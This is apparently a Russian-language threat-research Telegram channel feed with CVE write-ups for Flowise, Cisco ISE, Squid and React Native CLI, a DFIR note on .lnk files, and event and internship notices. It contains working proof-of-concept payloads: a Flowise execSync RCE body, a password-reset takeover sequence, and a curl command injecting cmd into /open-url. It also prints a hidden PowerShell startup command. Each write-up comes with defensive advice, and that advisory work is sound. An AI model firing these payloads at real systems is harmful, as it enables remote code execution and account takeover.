POST-запрос на конечную точку /api/v1/node-load-method/customMCP с телом:
вызовет RCE, в данном случае sleep 10. Полезная нагрузка может меняться и представлять из себя произвольный JS-код. Пример атаки на скриншоте № 2.
CVE-2025-61687
POST-запросы к /api/v1/attachments/ могут содержать файлы с опасным типом, например JS. Это может позволить злоумышленнику создать shell.
👍 Как защититься
CVE-2025-58434
1) Так как запросы на изменение пароля — легитимные, то и правило на WAF, IDS вызовут ложно положительные сработки.
2) Не возвращать токены сброса пароля или другие чувствительные данные в API-ответах.
3) Логировать и мониторить запросы на сброс пароля, чтобы выявить подозрительную активность.
CVE-2025-59528
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/node-load-method/customMCP, где в параметре
CVE-2025-61687
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/attachments/, которые содержат файлы с опасным расширением, например js, sh, py, php и другие.
CVE-2025–58434 — раскрытие токена сброса пароля, которое приводит к захвату учетной записи в Flowise в версиях <=3.0.5
CVE-2025-59528 позволяет аутентифицированным пользователям удаленно выполнять код (RCE) в Flowise в версиях <=3.0.5.
CVE-2025-61687/CVE-2025-26319 позволяет аутентифицированным пользователям загружать произвольные файлы без надлежащей проверки в Flowise в версиях <=3.0.7.
Flowise — это open-source-платформа с открытым исходным кодом, которая позволяет разработчикам визуально создавать и развёртывать AI-агентов и потоки для работы с большими языковыми моделями (LLM). У нее больше 45 тысяч звезд на github.
Base Core: 9,8
CWE: CWE-306
Base Core: 10
CWE: CWE-94
Base Core: 8.8
CWE: CWE-434
Конечная точка
/api/v1/account/forgot-password на вход принимает простой json.{"user":{"email":"XXX@XXX.XXX"}}json передает email-адрес, на который нужно отправить письмо с приватным токеном для смены пароля. На запрос сервер формирует ответ, который раскрывает приватный токен в теле ответа в параметре tempToken.
{"user":{"id":"35c016f5-26cf-464f-81b8-424fb53f7a22","name":"test","email":"XXX@XXX.XXX ","credential":"$2a$05$qwiE0QxVe13PCdAohQ7Oe.NUvw.RrOQgrixnrm1oogMrv7h5dkfyS","tempToken":"SHVoGl0YGEIBjHRFbuTqEu3QyoHxfBMwyGhnyRfWq5Qefp6ExhG3y2fVK8V0OzOk","tokenExpiry":"2025-10-16T11:34:57.584Z","status":"active","createdDate":"2025-10-16T10:40:14.000Z","updatedDate":"2025-10-16T11:19:57.000Z","createdBy":"35c016f5-26cf-464f-81b8-424fb53f7a22","updatedBy":"35c016f5-26cf-464f-81b8-424fb53f7a22"},"organization":{},"organizationUser":{},"workspace":{},"workspaceUser":{},"role":{}}Уточнение: для атаки необходимо знать действительный email-адрес.
1) Отправляют запрос на сброс пароля.
2) С помощью BurpSuite перехватывают ответ.
3) Извлекают приватный токен (tempToken) из тела ответа.
4) Формируют ссылку на активацию токена
/reset-password?token=<redacted-tempToken>.5) Сбрасывают пароль на /api/v1/account/reset-password.
{
"user":{
"email":"XXX@XXX.XXX",
"tempToken":"<redacted-tempToken>",
"password":"Admin1234!"
}
}6) Получают ответ с кодом 201, который говорит об успешном изменении пароля.
Уязвимость становится в разы опаснее, учитывая CVE-2025-59528 и CVE-2025-61687.
CVE-2025-59528
POST-запрос на конечную точку /api/v1/node-load-method/customMCP с телом:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"sleep 10\");return 1;})()})"
}
}вызовет RCE, в данном случае sleep 10. Полезная нагрузка может меняться и представлять из себя произвольный JS-код. Пример атаки на скриншоте № 2.
CVE-2025-61687
POST-запросы к /api/v1/attachments/ могут содержать файлы с опасным типом, например JS. Это может позволить злоумышленнику создать shell.
CVE-2025-58434
1) Так как запросы на изменение пароля — легитимные, то и правило на WAF, IDS вызовут ложно положительные сработки.
2) Не возвращать токены сброса пароля или другие чувствительные данные в API-ответах.
3) Логировать и мониторить запросы на сброс пароля, чтобы выявить подозрительную активность.
CVE-2025-59528
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/node-load-method/customMCP, где в параметре
mcpServerConfig предаются операторы js кода например :function(), exec, execSync, return,process и другие.CVE-2025-61687
— На WAF, IDS написать блокирующее правило на POST-запросы к /api/v1/attachments/, которые содержат файлы с опасным расширением, например js, sh, py, php и другие.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥20❤8👍4👌1👾1
Attention! Мы открыли набор на стажировку в Центр исследования киберугроз Solar 4RAYS 🫡
Выбирайте направление, которое вам ближе:
💻 Анализ вредоносного ПО — разбирайте код, находите следы атак и создавайте YARA-правила.
🕵️ Анализ данных киберразведки — собирайте сведения об угрозах, исследуйте уязвимости и стройте ловушки для атакующих.
Кому подойдет: студентам старших курсов ИБ-направлений или недавним выпускникам.
Важно: вы должны проживать в Москве.
Чтобы попасть в команду, нужно:
1️⃣ пройти тест,
2️⃣ решить практическое задание,
3️⃣ пообщаться с экспертами.
Заявки принимаем до 10 ноября. Все подробности на сайте.
Выбирайте направление, которое вам ближе:
💻 Анализ вредоносного ПО — разбирайте код, находите следы атак и создавайте YARA-правила.
🕵️ Анализ данных киберразведки — собирайте сведения об угрозах, исследуйте уязвимости и стройте ловушки для атакующих.
Кому подойдет: студентам старших курсов ИБ-направлений или недавним выпускникам.
Важно: вы должны проживать в Москве.
Чтобы попасть в команду, нужно:
Заявки принимаем до 10 ноября. Все подробности на сайте.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9🎉6🔥4🤮3🤡2❤1🤣1👾1
Десятибалльная уязвимость в Cisco ISE (CVE 2025–20282)
В публичный доступ выложили скрипт, который эксплуатирует уязвимость CVE 2025–20282.
CVE 2025–20282 может позволить неаутентифицированному удалённому злоумышленнику загружать произвольные файлы на уязвимое устройство, а затем выполнять эти файлы в базовой операционной системе с правами root. Патч исправления — Cisco ISE или ISE-PIC 3.4 Patch 2.
😳 Метрики
😳 Об уязвимости
В уязвимой версии существует такой участок кода:
📍 var9 — это объект FileItem, полученный из multipart-запроса.
📍 var9.isFormField() возвращает true, если элемент запроса — обычное поле формы (например, <input type="text" ...>).
Соответственно, если !var9.isFormField() (то есть это файл, а не текстовое поле),
тогда вызывается метод:
this.validateAndSaveFile(var9, var6), который, судя по названию, проверяет и сохраняет файл в каталог /tmp, указанный в var6.
Короче: если отправить произвольный zip-архив с названием output.zip на уязвимую конечную точку, мы извлечем все файлы в директорию /opt/CSCOcpm. А это может привести к загрузке вредоносных скриптов и выполнению shell-кодов. Например, через замену файлов crontab, атак zip-slip. В опубликованном эксплойте установка reverse shell-соединения идет через перезапись файла
Уязвимая конечная точка —
Настоятельно рекомендуем обновиться!
😳 Как защититься
1) Ограничить загрузку файлов на /admin/files-upload/ с названием output.zip. Например, через блокирующее правило на WAF, IDS.
2) Вести мониторинг фалов загружаемых по /admin/files-upload/.
В публичный доступ выложили скрипт, который эксплуатирует уязвимость CVE 2025–20282.
CVE 2025–20282 может позволить неаутентифицированному удалённому злоумышленнику загружать произвольные файлы на уязвимое устройство, а затем выполнять эти файлы в базовой операционной системе с правами root. Патч исправления — Cisco ISE или ISE-PIC 3.4 Patch 2.
Base Score: 10.0 CRITICAL
CWE: CWE-269
В уязвимой версии существует такой участок кода:
public void handleFilesUpload(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
logger.info("In handleFilesUpload method");
Object var3 = null;
try {
DiskFileItemFactory var4 = new DiskFileItemFactory();
ServletFileUpload var5 = new ServletFileUpload(var4);
String var6 = "/tmp";
List var7 = var5.parseRequest(var1);
Iterator var8 = var7.iterator();
while(var8.hasNext()) {
FileItem var9 = (FileItem)var8.next();
if (!var9.isFormField()) {
this.validateAndSaveFile(var9, var6);
}
}
logger.info("copy done");
UpgradeUtil.unZipFile("/tmp/output.zip", "/opt/CSCOcpm");
} catch (Exception var10) {
logger.info("Exception: ", var10);
}
}Соответственно, если !var9.isFormField() (то есть это файл, а не текстовое поле),
тогда вызывается метод:
this.validateAndSaveFile(var9, var6), который, судя по названию, проверяет и сохраняет файл в каталог /tmp, указанный в var6.
UpgradeUtil.unZipFile("/tmp/output.zip", "/opt/CSCOcpm"); - распакует файл /tmp/output.zip в "/opt/CSOCppm. Короче: если отправить произвольный zip-архив с названием output.zip на уязвимую конечную точку, мы извлечем все файлы в директорию /opt/CSCOcpm. А это может привести к загрузке вредоносных скриптов и выполнению shell-кодов. Например, через замену файлов crontab, атак zip-slip. В опубликованном эксплойте установка reverse shell-соединения идет через перезапись файла
/opt/CSCOcpm/bin/isehourlycron.shУязвимая конечная точка —
/admin/files-upload/Настоятельно рекомендуем обновиться!
1) Ограничить загрузку файлов на /admin/files-upload/ с названием output.zip. Например, через блокирующее правило на WAF, IDS.
2) Вести мониторинг фалов загружаемых по /admin/files-upload/.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13⚡5❤4👾1
Десятибалльная уязвимость в Squid (CVE-2025-62168)
В публичный доступ выложили сканер версий для кэширующего прокси-сервера Squid.
📍 По данным FOFA, Squid используется более чем в 40 миллионах сервисов по всему миру, в том числе и в России.
CVE-2025–62168 — уязвимость раскрытия информации в некоторых версиях кэширующего прокси-сервера Squid через генерируемые сообщения об ошибках, которые возвращаются клиентам.
✅ Затронуты такие версии:
• Squid 3.x до 3.5.28 включительно;
• Squid 4.x до 4.17 включительно;
• Squid 5.x до 5.9 включительно;
• Squid 6.x до 6.14 включительно;
• Squid 7.x до 7.1 включительно.
Настоятельно рекомендуем обновиться!
🫡 Метрики
🫡 Об уязвимости
В Squid при генерации страницы ошибки (error page) используются специальные шаблонные коды. Например:
• %R — вставляет оригинальный HTTP-запрос клиента;
• %W — вставляет ответ от сервера, если он был получен перед ошибкой).
Проблема в том, что до версии 7.2 эти расширения не удаляли конфиденциальные данные, включая:
• Authorization: (HTTP Basic / Bearer / Proxy-Auth и т.п.);
• Proxy-Authorization:,
• другие заголовки с токенами или паролями.
Уязвимость связана с параметром email_err_data. Все версии Squid до 7.1 включительно уязвимы, если email_err_data не задан или включён(по умолчанию он включён). Если email_err_data отключён, уязвимость отсутствует.
Пример работы сканера — на скриншоте: запрос, получение ответа, парсинг определенного поля.
🫡 Как защититься
1) отключить email_err_data;
2) логировать запросы с подозрительными заголовками авторизации;
3) написать блокирующее правило WAF, IDS на ответы сервера, которые передают данные авторизации и другую чувствительную информацию;
4) обновиться.
В публичный доступ выложили сканер версий для кэширующего прокси-сервера Squid.
CVE-2025–62168 — уязвимость раскрытия информации в некоторых версиях кэширующего прокси-сервера Squid через генерируемые сообщения об ошибках, которые возвращаются клиентам.
• Squid 3.x до 3.5.28 включительно;
• Squid 4.x до 4.17 включительно;
• Squid 5.x до 5.9 включительно;
• Squid 6.x до 6.14 включительно;
• Squid 7.x до 7.1 включительно.
Настоятельно рекомендуем обновиться!
Base Score: 10.0 CRITICAL
CWE: CWE-550, CWE-209
В Squid при генерации страницы ошибки (error page) используются специальные шаблонные коды. Например:
• %R — вставляет оригинальный HTTP-запрос клиента;
• %W — вставляет ответ от сервера, если он был получен перед ошибкой).
Проблема в том, что до версии 7.2 эти расширения не удаляли конфиденциальные данные, включая:
• Authorization: (HTTP Basic / Bearer / Proxy-Auth и т.п.);
• Proxy-Authorization:,
• другие заголовки с токенами или паролями.
Уязвимость связана с параметром email_err_data. Все версии Squid до 7.1 включительно уязвимы, если email_err_data не задан или включён
Пример работы сканера — на скриншоте: запрос, получение ответа, парсинг определенного поля.
1) отключить email_err_data;
2) логировать запросы с подозрительными заголовками авторизации;
3) написать блокирующее правило WAF, IDS на ответы сервера, которые передают данные авторизации и другую чувствительную информацию;
4) обновиться.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17❤5🤔4💯1👾1
Заметки на полях DFIR: файлы-ярлыки (.lnk) Windows и блок данных EXTRA_DATA
При расследовании киберинцидентов часто работаем с файлами-ярлыками (.lnk). Например, атакующие применяют ярлыки в фишинговых кампаниях (
🫡 Так, при расследовании одного из инцидентов, обнаружили подозрительный ярлык в каталоге автозагрузки:
Файл ссылался на cmd.exe со следующим командлайном:
Атакующие почистили журнал событий, поэтому полностью проанализировать активность вокруг файла было невозможно.
💡 В таких ситуациях помогают различные особенности артефактов Windows. Например, ярлыки обладают блоком данных
— информация о файле, на который создается ссылка;
— дополнительная информация о самом ярлыке, в том числе информация о пользователе, создавшем ярлык, и имя системы, на которой он был создан.
Атакующие не удалили эти метаданные. Поэтому с помощью LECmd.exe мы узнали SID пользователя и систему, на который был создан ярлык. Ее анализ позволил установить, что атакующим был внутренний нарушитель, который создал ярлык с помощью своей учетной записи и распространил его по инфраструктуре компании. Более того, мы нашли и другие файлы, которые также закрепляли вредоносную нагрузку.
🫡 Именно поэтому важно помнить о тех или иных тонкостях следообразования различных артефактов. И хотя многие атакующие знают о необходимости очистки метаданных в ярлыках и не только, встречаются ситуации, когда этого не происходит.
При расследовании киберинцидентов часто работаем с файлами-ярлыками (.lnk). Например, атакующие применяют ярлыки в фишинговых кампаниях (
User Execution: Malicious Link ID: T1204.001) или чтобы закрепиться в системе (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder ID: T1547.001).C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\FILE.lnk
Файл ссылался на cmd.exe со следующим командлайном:
/c if exist " C:\Intel\FILE.ps1" (powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File " C:\Intel\FILE.ps1") else (exit 0)
Атакующие почистили журнал событий, поэтому полностью проанализировать активность вокруг файла было невозможно.
EXTRA_DATA.
EXTRA_DATA — это часть структуры ярлыка, в который записывается:— информация о файле, на который создается ссылка;
— дополнительная информация о самом ярлыке, в том числе информация о пользователе, создавшем ярлык, и имя системы, на которой он был создан.
Атакующие не удалили эти метаданные. Поэтому с помощью LECmd.exe мы узнали SID пользователя и систему, на который был создан ярлык. Ее анализ позволил установить, что атакующим был внутренний нарушитель, который создал ярлык с помощью своей учетной записи и распространил его по инфраструктуре компании. Более того, мы нашли и другие файлы, которые также закрепляли вредоносную нагрузку.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍9❤6👏5🤯1💯1👾1
⌛️ Регистрация на SOC Forum 2025 закрывается 7 ноября
Приходите послушать доклады экспертов Solar 4RAYS. Вот, что мы приготовили.
🫡 IDFKA Backdoor: скрытая угроза Rust-имплантов в современных APT-атаках
18 ноября, 10:30, зал 3
🫡 Змеиная Rustамания: новые инструменты Shedding Zmiy»
20 ноября, 11:30, зал 3
🫡 (EDR) — Evading Detection to Ring 0
20 ноября, 12:45, зал 3
🫡 В джунглях персиста: изощренные техники закрепления
20 ноября, 13:45, зал 3
А ещё приготовили наш традиционный квест с тасками Defense, Offense и Osint. Как обычно, правильные флаги обменяем на мерч.
Принять участие →
Приходите послушать доклады экспертов Solar 4RAYS. Вот, что мы приготовили.
18 ноября, 10:30, зал 3
Разберем ход расследования APT-кампании, в которой через уязвимость развернули неизвестный Rust-имплант с поддержкой множества сетевых режимов и сложной инфраструктурой C2. Поделимся выводами по реверсу Rust и детектированию угроз.
20 ноября, 11:30, зал 3
В одной из атак группировка Shedding Zmiy использовала вредоносные инструменты, написанные на Rust: Mycelium, Leech и Octopus. Эти утилиты — серьезная угроза для инфраструктуры жертвы. Расскажем об инструментах и методах, которые упростят технический анализ вредоносов на Rust.
20 ноября, 12:45, зал 3
Рассмотрим варианты получения телеметрии в ОС Windows на каждом из уровней (EventLog/Sysmon/ETW/WinAPI Callbacks), а также приведем методы обхода каждого из них. Еще покажем методы детектирования подобного рода техник.
20 ноября, 13:45, зал 3
Работа DFIR-инженера — это не только проверка стандартных способов закрепления в системе, но и её глубокий анализ. Мы отправимся в глухие джунгли программ и компонентов, где обитают хитрые и нестандартные способы закрепления. Наш доклад — это отчет об экспедиции на эту опасную территорию.
А ещё приготовили наш традиционный квест с тасками Defense, Offense и Osint. Как обычно, правильные флаги обменяем на мерч.
Принять участие →
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15❤7🤝5⚡2💯1👾1
Фишинговая кампания Erudite Mogwai в России 👀
В мае 2025 года мы обнаружили интересную целевую фишинговую рассылку, в которой применялся не самый распространенный метод доставки вредоносных файлов — сервис одноразовых ссылок, принадлежащий организации-жертве.
После детального исследования обнаружили несколько аналогичных рассылок, которые проводились во второй половине 2024 года. Эти фишинговые рассылки мы отнесли к деятельности группировки Erudite Mogwai (Space Pirates).
Читайте подробности в нашей новой статье!
В мае 2025 года мы обнаружили интересную целевую фишинговую рассылку, в которой применялся не самый распространенный метод доставки вредоносных файлов — сервис одноразовых ссылок, принадлежащий организации-жертве.
После детального исследования обнаружили несколько аналогичных рассылок, которые проводились во второй половине 2024 года. Эти фишинговые рассылки мы отнесли к деятельности группировки Erudite Mogwai (Space Pirates).
Читайте подробности в нашей новой статье!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍5⚡4❤1🤔1💯1👾1
RCE в React Native CLI (CVE-2025-11953)
CVE-2025-11953 — уязвимость, которая позволяет неаутентифицированным пользователям выполнять произвольные команды оболочки (RCE) или запускать произвольные исполняемые файлы в пакете
😳 Метрики
😳 Об уязвимости
Не подвержены уязвимости разработчики, которые используют React Native с фреймворком, но не берут Metro в качестве сервера разработки. В уязвимых версиях
Значение параметра url, отправленного в JSON теле POST-запроса, предаётся в open() без надлежащий валидации.
Исправление:
Исправление проверяет, что параметр url означает именно URL в
💡 Дополнительная особенность уязвимости — сервер по умолчанию будет прослушивать внешние соединения
Важно: поведение
☀️ На Windows уязвимости RCE возникают из за формирования одной строковой команды. Например,
☀️ На macOS/Linux open/xdg-open запускаются без shell и ожидает, что каждый аргумент будет отдельной строкой, но остаются другие риски (URI обработчики, file://, сетевые схемы).
Короче: Windows — риск RCE через командную строку, macOS/Linux — риск через URI обработчики и
Уязвимая конечная точка:
😳 Пример эксплуатации RCE для Windows
😳 Как защищаться
1) Обновиться.
2) Запускать сервер строго на localhost.
3) Написать блокирующее правило (IDS/WAF) на POST-запросы, которые идут к конечной точке /open-url, где в качестве значения параметра url передается строка отличная от http(s)://[domain].[exp].
CVE-2025-11953 — уязвимость, которая позволяет неаутентифицированным пользователям выполнять произвольные команды оболочки (RCE) или запускать произвольные исполняемые файлы в пакете
@react-native-community/cli-server-api версий с 4.8.0 по 20.0.0-alpha.2Base Score: 9,8 (CRITICAL)
CWE: CWE-78
Не подвержены уязвимости разработчики, которые используют React Native с фреймворком, но не берут Metro в качестве сервера разработки. В уязвимых версиях
@react-native-community/cli-server-api функция openURLMiddleware содержит код:async function openURLMiddleware(req: IncomingMessage, ...) {
if (req.method === 'POST') {
…
const {url} = req.body as {url: string};
await open(url);
…
}
next();
}
export default connect().use(json()).use(openURLMiddleware);Значение параметра url, отправленного в JSON теле POST-запроса, предаётся в open() без надлежащий валидации.
Исправление:
try {
const parsedUrl = new URL(url);
if (parsedUrl.protocol !== 'http:' && parsedUrl.protocol !== 'https:') {
res.writeHead(400);
res.end('Invalid URL protocol');
return;
}
} catch (error) {
res.writeHead(400);
res.end('Invalid URL format');
return;
}
await open(url);Исправление проверяет, что параметр url означает именно URL в
new URL с протоколом http/https в if (parsedUrl.protocol !== 'http:' && parsedUrl.protocol !== 'https:').0.0.0.0:[port].Важно: поведение
open() отличается между Windows и Unix подобными системами.cmd /c start "" /b cmd /c echo abc > c:\temp\pwned.txt.Короче: Windows — риск RCE через командную строку, macOS/Linux — риск через URI обработчики и
file:/// smb://.Уязвимая конечная точка:
/open-url.curl -X POST http://metro-server-host:8081/open-url -H "Content-Type: application/json" -d "{\"url\":\"cmd /c echo abc ^> c:\\temp\\poc.txt\"}"1) Обновиться.
2) Запускать сервер строго на localhost.
3) Написать блокирующее правило (IDS/WAF) на POST-запросы, которые идут к конечной точке /open-url, где в качестве значения параметра url передается строка отличная от http(s)://[domain].[exp].
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍4👀1👾1